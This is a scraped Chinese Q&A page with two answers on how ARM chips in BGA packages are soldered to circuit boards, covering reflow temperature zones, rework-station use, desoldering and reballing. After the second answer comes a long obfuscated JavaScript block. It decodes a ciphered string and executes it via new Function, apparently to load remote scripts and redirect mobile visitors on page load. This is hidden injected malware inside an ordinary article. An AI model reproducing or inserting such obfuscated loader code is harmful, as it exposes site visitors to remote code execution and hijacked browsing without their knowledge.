arm处理器芯片是如何焊接到印刷电路板上的

2025-02-26 08:31:33
推荐回答(2个)
回答1:

ARM芯片一般采用BGA封装
BGA Ball Grid Array Package 球栅阵列封装 广泛应用于集成电路的封装 如FPGA/CPLD 主板南北桥,手机芯片,它的焊接是否良好,直接关系到所做产片的可靠性和寿命,我焊接由BGA封装的芯片不久,想写点感想,希望大家多多指教。 1 工艺技术原理 BGA焊接采用的回流焊的原理。这里介绍一下锡球在焊接过程中的回流机理。 当锡球至于一个加热的环境中,锡球回流分为三个阶段: 预热: 首先,用于达到所需粘度和丝印性能的溶剂开始蒸发,温度上升必需慢(大约每秒5° C),以限制沸腾和飞溅,防止形成小锡珠,还有,一些元件对内部应力比较敏感,如果元件外部温度上升太快,会造成断裂。 助焊剂(膏)活跃,化学清洗行动开始,水溶性助焊剂(膏)和免洗型助焊剂(膏)都会发生同样的清洗行动,只不过温度稍微不同。将金属氧化物和某些污染从即将结合的金属和焊锡颗粒上清除。好的冶金学上的锡焊点要求“清洁”的表面。 当温度继续上升,焊锡颗粒首先单独熔化,并开始液化和表面吸锡的“灯草”过程。这样在所有可能的表面上覆盖,并开始形成锡焊点。 回流: 这个阶段最为重要,当单个的焊锡颗粒全部熔化后,结合一起形成液态锡,这时表面张力作用开始形成焊脚表面,如果元件引脚与PCB焊盘的间隙超过4mil(1 mil = 千分之一英寸),则极可能由于表面张力使引脚和焊盘分开,即造成锡点开路。 冷却: 冷却阶段,如果冷却快,锡点强度会稍微大一点,但不可以太快而引起元件内部的温度应力。 1.1采用的工艺原理 对于BGA的焊接,我们是采用BGA Rework Station(BGA返修工作站)进行焊接的。不同厂商生产的BGA返修工作站采用的工艺原理略有不同,但大致是相同的。这里先介绍一下温度曲线的概念。BGA上的锡球,分为无铅和有铅两种。有铅的锡球熔点在183℃~220℃,无铅的锡球熔点在235℃~245℃. 这里给出有铅锡球和无铅球焊接时所采用的温度曲线。 从以上两个曲线可以看出,焊接大致分为预热,保温,回流,冷却四个区间(不同的BGA返修工做站略有不同)无论有铅焊接还是无铅焊接,锡球融化阶段都是在回流区,只是温度有所不同,回流以前的曲线可以看作一个缓慢升温和保温的过程。明白了这个基本原理,任何BGA返修工作站都可以以此类推。这里,介绍一下这几个温区: 预热区:也叫斜坡区,用来将PCB的温度从周围环境温度提升到所须的活性温度。在这个区,电路板和元器件的热容不同,他们的实际温度提升速率不同。电路板和元器件的温度应不超过每秒2~5℃速度连续上升,如果过快,会产生热冲击,电路板和元器件都可能受损,如陶瓷电容的细微裂纹。而温度上升太慢,焊膏会感温过度,溶剂挥发不充分,影响焊接质量。炉的预热区一般占整个加热区长度的15~25 %。 保温区:有时叫做干燥或浸湿区,这个区一般占加热区的30 ~ 50 %。活性区的主要目的是使PCB上各元件的温度趋于稳定,尽量减少温差。在这个区域里给予足够的时间使热容大的元器件的温度赶上较小元件,并保证焊膏中的助焊剂得到充分挥发。到活性区结束,焊盘、焊料球及元件引脚上的氧化物被除去,整个电路板的温度达到平衡。应注意的是PCB上所有元件在这一区结束时应具有相同的温度,否则进入到回流区将会因为各部分温度不均产生各种不良焊接现象。一般普遍的活性温度范围是120~150℃,如果活性区的温度设定太高,助焊剂(膏)没有足够的时间活性化,温度曲线的斜率是一个向上递增的斜率。虽然有的焊膏制造商允许活性化期间一些温度的增加,但是理想的温度曲线应当是平稳的温度。 回流区:有时叫做峰值区或最后升温区,这个区的作用是将PCB的温度从活性温度提高到所推荐的峰值温度。活性温度总是比合金的熔点温度低一点,而峰值温度总是在熔点上。典型的峰值温度范围是焊膏合金的熔点温度加40℃左右,回流区工作时间范围是20 - 50s。这个区的温度设定太高会使其温升斜率超过每秒2~5℃,或使回流峰值温度比推荐的高,或工作时间太长可能引起PCB的过分卷曲、脱层或烧损,并损害元件的完整性。回流峰值温度比推荐的低,工作时间太短可能出现冷焊等缺陷。 冷却区:这个区中焊膏的锡合金粉末已经熔化并充分润湿被连接表面,应该用尽可能快的速度来进行冷却,这样将有助于合金晶体的形成,得到明亮的焊点,并有较好的外形和低的接触角度。缓慢冷却会导致电路板的杂质更多分解而进入锡中,从而产生灰暗粗糙的焊点。在极端的情形下,其可能引起沾锡不良和减弱焊点结合力。冷却段降温速率一般为3~10 ℃/ S。 1.2工艺方法 在焊接BGA之前,PCB和BGA都要在80℃~90℃,10~20小时的条件下在恒温烤箱中烘烤,目的是除潮,更具受潮程度不同适当调节烘烤温度和时间。没有拆封的PCB和BGA可以直接进行焊接。特别指出,在进行以下所有操作时,要佩戴静电环或者防静电手套,避免静电对芯片可能造成的损害。在焊接BGA之前,要将BGA准确的对准在PCB上的焊盘上。这里采用两种方法:光学对位和手工对位。目前主要采用的手工对位,即将BGA的四周和PCB上焊盘四周的丝印线对齐。这里有个具窍:在把BGA和丝印线对齐的过程中,及时没有完全对齐,即使锡球和焊盘偏离30%左右,依然可以进行焊接。因为锡球在融化过程中,会因为它和焊盘之间的张力而自动和焊盘对齐。在完成对齐的操作以后,将PCB放在BGA返修工作站的支架上,将其固定,使其和BGA返修工作站水平。选择合适的热风喷嘴(即喷嘴大小比BGA大小略大),然后选择对应的温度曲线,启动焊接,待温度曲线完毕,冷却,便完成了BGA的焊接。 在生产和调试过程中,难免会因为BGA损坏或者其他原因更换BGA。BGA返修工作站同样可以完成拆卸BGA的工作。拆卸BGA可以看作是焊接BGA的逆向过程。所不同的是,待温度曲线完毕后,要用真空吸笔将BGA吸走,之所以不用其他工具,比如镊子,是因为要避免因为用力过大损坏焊盘。将取下BGA的PCB趁热进行除锡操作(将焊盘上的锡除去),为什么要趁热进行操作呢?因为热的PCB相当与预热的功能,可以保证除锡的工作更加容易。这里要用到吸锡线,操作过程中不要用力过大,以免损坏焊盘,保证PCB上焊盘平整后,便可以进行焊接BGA的操作了。 取下的BGA可否再次进行焊接呢?答案是肯定的。但在这之前有个关键步骤,那就是植球。植球的目的就是将锡球重新植在BGA的焊盘上,可以达到和新BGA同样的排列效果。这里详细介绍下植球。这里要用到两个工具钢网和吸锡线 首先我们要把BGA上多余的锡渣除去,要求是要使BGA表面光滑,无任何毛刺(锡形成的)。 第一步——涂抹助焊膏(剂) 把BGA放在导电垫上,在BGA表面涂抹少量的助焊膏(剂)。 第二步——除去锡球 用吸锡线和烙铁从BGA上移除锡球。在助焊膏上放置吸锡线把烙铁放在吸锡线上面 在你在BGA表面划动洗锡线之前,让烙铁加热吸锡线并且熔化锡球。 注意:不要让烙铁压在表面上。过多的压力会让表面上产生裂缝者刮掉焊盘。为了达到最好的效果,最好用吸锡线一次就通过BGA表面。少量的助焊膏留在焊盘上会使植球更容易。 第三步——清洗 立即用工业酒精(洗板水)清理BGA表面,在这个时候及时清理能使残留助焊膏更容易除去。 利用摩擦运动除去在BGA表面的助焊膏。保持移动清洗。清洗的时候总是从边缘开始,不要忘了角落。 清洗每一个BGA时要用干净的溶剂 第四步——检查 推荐在显微镜下进行检查。观察干净的焊盘,损坏的焊盘及没有移除的锡球。 注意:由于助焊剂的腐蚀性,推荐如果没有立即进行植球要进行额外清洗。 第5步——过量清洗 用去离子水和毛刷在BGA表面用力擦洗。 注意:为了达到最好的清洗效果,用毛刷从封装表面的一个方向朝一个角落进行来回洗。循环擦洗。 第6步——冲洗 用去离子水和毛刷在BGA表面进行冲洗。这有助于残留的焊膏从BGA表面移除去。 接下来让BGA在空气中风干。用第4步反复检查BGA表面。 如果在植球前BGA被放置了一段时间,可以基本上确保它们是非常干净的了。不推荐把BGA放在水里浸泡太长的时间。 在进行完以上操作后,就可以植球了。这里要用到钢网和植台。 钢网的作用就是可以很容易的将锡球放到BGA对应的焊盘上。植球台的作用就是将BGA上锡球熔化,使其固定在焊盘上。植球的时候,首先在BGA表面(有焊盘的那面)均匀的涂抹一层助焊膏(剂),涂抹量要做到不多不少。涂抹量多了或者少了都有可能造成植球失败。将钢网(这里采用的是万能钢网)上每一个孔与BGA上每一个焊盘对齐。然后将锡球均与的倒在钢网上,用毛刷或其他工具将锡球拨进钢网的每一个孔里,锡球就会顺着孔到达BGA的焊盘上。进行完这一步后,仔细检查有没有和焊盘没对齐的锡球,如果有,用针头将其拨正。小心的将钢网取下,将BGA放在高温纸上,放到植球台上。植球台的温度设定是依据有铅锡球220℃,无铅锡球235℃来设定的。植球的时间不是固定的。实际上是根据当BGA上锡球都熔化并表面发亮,成完整的球形的时候来判定的,这些通过肉眼来观察。可以记录达到这样的状态所用时间,下次植球按照这个时间进行即可。 BGA植球是一个需要耐心和细心的工作,进行操作的时候要仔 细认真。 1.3国内外水平现状 BGA(Ball Grid Array Package)是这几年最流行的封装形式 它的出现可以大大提高芯片的集成度和可制造性。由于我国在 BGA焊接技术方面起步较晚,国内能制造BGA返修工作站的厂 家也不多,因此,BGA返修工作站在国内比较少,尤其是在西部。 有着光学对位,X-RAY功能的BGA返修站就更为少见。 1.4 解决的技术难点 在实际的工作当中,会遇到不同大小,不同厚度的PC不同大 小的BGA,有采用无铅焊接的也有采用有铅焊接的。它们采用的温度曲线也不同。因此,不可能用一种温度曲线来焊接所有的BGA。如何根据条件的不同来设定不同的温度曲线,这就是在BGA焊接过程中的关键。这里给出几组图片加以说明。 造成温度不对的原因有很多,还有一个原因就是在测试温度曲线的时候,都是在空调环境下进行的,也就是说不是常温。夏天和冬天空调造成温度和常温不符合,因此在设定BGA温度曲线的时候会偏高或偏低。所以在每次进行焊接的时候,都要测试实际温度是否符合所设定的温度值。温度设定的原理就是首先根据是有铅焊接或者无铅焊接设定相应温度,然后用温度计(或者热电偶)测试实际温度,然后根据实际温度调节设定的温度,使之达到最理想的温度进行焊接。在焊接的过程中,一定要保证BGA返修工作站,PCB,BGA在同一水平线上,焊接过程中不能发生震动,不然会使锡球融化的时候发生桥接,造成短路。

回答2:

arm处理器芯片是通过BGA焊接到印刷电路板上的。

ARM芯片一般采用BGA封装

BGA Ball Grid Array Package 球栅阵列封装 广泛应用于集成电路的封装   如FPGA/CPLD 主板南北桥,手机芯片,它的焊接是否良好,直接关系到所做产片的可靠性和寿命.


!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();